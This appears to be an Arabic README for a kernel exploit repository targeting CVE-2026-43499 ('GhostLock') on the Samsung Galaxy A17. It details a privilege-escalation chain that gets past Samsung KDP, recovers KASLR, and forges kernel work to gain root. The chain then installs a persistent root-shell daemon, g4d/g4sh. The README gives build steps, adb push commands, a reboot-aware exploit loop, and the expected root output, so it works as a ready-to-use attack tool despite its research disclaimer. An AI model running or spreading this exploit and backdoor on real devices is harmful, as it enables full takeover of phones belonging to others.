
استغلال نواة لثغرة CVE-2026-43499 على Samsung Galaxy A17 يحقق صلاحيات الجذر (root) عبر تجاوز KDP، واستعادة KASLR، وتنفيذ workqueue مزورة مع shell دائم.
سلسلة استغلال كاملة من مستخدم عادي إلى صلاحيات الجذر (root) لثغرة CVE-2026-43499 ("GhostLock") على Samsung Galaxy A17 SM-A175F، التي تعمل بنظام Android 16 / GKI 6.12.
تبدأ السلسلة من البدائيات (primitives) العامة لـ GhostLock وتنتهي بمساعد وضع المستخدم (usermode helper) الذي ينفَّذ بالشكل التالي:
uid=0(root) gid=0(root) groups=0(root)
context=u:r:kernel:s0
كما تشغّل قشرة جذر (root shell) دائمة تتجدد مع كل إقلاع عبر g4d / g4sh وتخرج دون انهيار النواة (kernel panic).
📖 التقرير الفني الكامل:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
ملاحظة بحثية
لم نكتشف نحن ثغرة CVE-2026-43499. يعود الفضل في اكتشاف الثغرة الأصلية وبحوث IonStack إلى Nebula Security.
يوثّق هذا المستودع عملية النقل المستقلة التي قمنا بها إلى Samsung Galaxy A17، والتغييرات المطلوبة للتغلب على حمايات نواة سامسونج، ومرحلة استغلال نهائية جديدة.
لأغراض البحث الأمني المصرّح به والتعليم فقط.
| CVE | CVE-2026-43499 — "ghostlock" |
| الجهاز | Samsung Galaxy A17 (SM-A175F, mt6789) |
| GPU | Mali-G57 |
| النواة | 6.12.23-android16-5-abA175FXXS3BZA5-4k |
| النتيجة | uid=0(root) / u:r:kernel:s0 |
| قشرة الجذر | الخفيّ g4d + العميل g4sh |
| الاستمرارية | لكل إقلاع |
| خروج الاستغلال | نظيف، دون انهيار النواة |
| التحصينات المصادفة | Samsung KDP, DEFEX, SELinux, PANIC_ON_OOPS, arm64 KASLR |
توفر بحوث ghostlock الأصلية البدائيات الابتدائية:
pselect reclaim
↓
fake rt_mutex_waiter
↓
constrained rb-tree pointer write
على Galaxy A17، مع ذلك، لا تعمل مرحلة النهاية القياسية القائمة على تعديل بيانات الاعتماد (credential patching).
تحمي KDP بيانات النواة المرتبطة ببيانات الاعتماد على مستوى EL2.
على هذا الإصدار، كانت محاولات تعديل بيانات اعتماد المهام تُرفض بصمت حتى عندما تكون العناوين المستهدفة صحيحة.
لذلك، بدلاً من كتابة بيانات اعتماد الجذر، يجعل هذا النقل النواة تنفّذ ببيانات اعتماد متميزة قائمة بالفعل.
المرحلة النهائية:
constrained kernel write
↓
physical read/write channel
↓
KASLR slide recovery
↓
discover system_wq / cpu_pwq
↓
forge work_struct
↓
call_usermodehelper_exec_work
↓
/system/bin/sh
↓
uid=0(root), u:r:kernel:s0
يتم وضع عنصر عمل مزوّر في تجمّع system_wq المرتبط وتفعيله عبر عاصفة من عمليات تخصيص/تحرير ptmx.
ينفَّذ مساعد وضع المستخدم الناتج ببيانات اعتماد init.
لا حاجة لاستبدال بيانات اعتماد المهام.
userspace shell (uid 2000)
│
▼
pselect / PI-futex primitive
│
▼
constrained aligned kernel pointer write
│
▼
forged pipe_buffer channel
│
▼
arbitrary physical read/write
│
├── recover KASLR slide
│
├── locate system_wq / cpu_pwq
│
└── prepare forged work_struct
│
▼
queue usermode-helper work
│
▼
ptmx storm wakes worker
│
▼
/system/bin/sh runs with init creds
│
▼
uid=0(root)
│
▼
g4d → @ghostlockd → g4sh
بالمقارنة مع منفذ OnePlus العام، أُعيدت هندسة معظم المراحل التي تلي بدائية الكتابة الأولية.
استُبدلت مرحلة النهاية القائمة على تعديل بيانات الاعتماد بعنصر قائمة عمل مزوّر يستهدف مسار تنفيذ مساعد وضع المستخدم.
يتجنّب ذلك كتابة بنى cred المحمية تمامًا.
كان نهج التثبيت السابق القائم على أحداث perf غير موثوق على هذا الجهاز.
بدلاً من ذلك، يستخدم الاستغلال ثلاثة مؤشرات مُزاحة من مدخل boot_id في ctl_table:
procname
data
proc_handler
يتم التحقق المتبادل من الثلاثة قبل قبول الإزاحة.
يتم اكتشاف cpu_pwq عبر تتبّع المسار:
system_wq → pwqs
بدلاً من الاعتماد على إزاحة ثابتة خاصة بالجهاز.
تترك القناة الأصلية تغييرات جانبية في حالة struct page قد تؤدي إلى PANIC_ON_OOPS أثناء التفكيك.
تتجنب السلسلة الحالية الانهيار أثناء التفكيك، وقد أُثبت أنها تخرج بنظافة بعد الحصول على الجذر.
يبدأ مساعد وضع المستخدم بتشغيل:
g4d
الذي يستمع على مقبس يونكس المجرّد (abstract Unix socket):
@ghostlockd
يتصل g4sh به ويوفّر إما قشرة جذر تفاعلية أو تنفيذ أمر لمرة واحدة.
/data/local/tmp/a/g4sh
/data/local/tmp/a/g4sh -c "id"
يجمع هذا الهدف بين عدة حمايات تُفسد تقنيات استغلال نواة أندرويد الشائعة:
أجبر هذا على اتباع استراتيجية استغلال مختلفة عن المعتاد:
arbitrary RW → patch cred → disable SELinux
بدلاً من ذلك:
arbitrary RW → recover runtime state → forge kernel work → execute usermode helper
يتطلب إصدارًا حديثًا من Android NDK.
make
ينتج عنه:
ghostlock # exploit
g4d # static root-shell daemon
g4sh # root-shell client
ادفع الملفات الثنائية:
adb push ghostlock /data/local/tmp/a/g4
adb push g4d /data/local/tmp/a/g4d
adb push g4sh /data/local/tmp/a/g4sh
adb shell 'chmod 755 /data/local/tmp/a/g4 /data/local/tmp/a/g4d /data/local/tmp/a/g4sh'
شغّل حلقة الاستغلال المتوافقة مع إعادة الإقلاع:
./scripts/rr_loop4.sh
بعد ظهور ROOTED:
adb shell /data/local/tmp/a/g4sh
أو نفّذ أمرًا واحدًا:
adb shell '/data/local/tmp/a/g4sh -c "id"'
النتيجة المتوقعة:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
البدائية احتمالية وتعتمد بشدة على ظروف الإقلاع.
قد يتطلب الاستغلال الناجح محاولات متكررة. يتولى السكربت المرفق rr_loop4.sh التعامل مع إعادة المحاولات ودورات إعادة الإقلاع تلقائيًا.
هذا استغلال بحثي، وليس أداة تجذير فورية بضغطة واحدة.
يحتوي qemu-e2e/ على منصة تحقق شاملة (end-to-end) تستخدم نواة سامسونج المستخرجة.
استُخدمت المنصة لاختبار:
g4d / g4shصورة نواة سامسونج نفسها غير مرفقة.
انظر:
qemu-e2e/
لتعليمات الإعداد.
Makefile
src/ exploit source and device profiles
src/daemon/ g4d root daemon + g4sh client
docs/OFFSETS.md validated device offsets
docs/PORTING.md porting notes
examples/ proof-of-root artifacts
scripts/rr_loop4.sh reboot-aware exploit loop
qemu-e2e/ end-to-end QEMU validation
NebuSec:
https://nebusec.ai/research/ionstack-part-3/
https://github.com/NebuSec/CyberMeowfia/tree/main/IonStack
https://github.com/JoinChang/ghostlock-oneplus
نظرة أعمق على منفذ Samsung Galaxy A17، وقيود KDP، واستعادة KASLR، والمرحلة النهائية القائمة على قائمة العمل، وتنفيذ قشرة الجذر:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
المصنوعات (artifacts) المأخوذة من جهاز حقيقي متاحة تحت:
examples/
بما في ذلك سجلات الاستغلال والتحقق من سياق الجذر.
مثال:
uid=0(root)
gid=0(root)
groups=0(root)
context=u:r:kernel:s0
يُقدَّم هذا الإثبات المفاهيمي (proof of concept) لأغراض تعليمية وبحث أمني مصرّح به فقط.
استخدمه فقط على الأجهزة والبيئات التي تملكها أو لديك إذن صريح لاختبارها.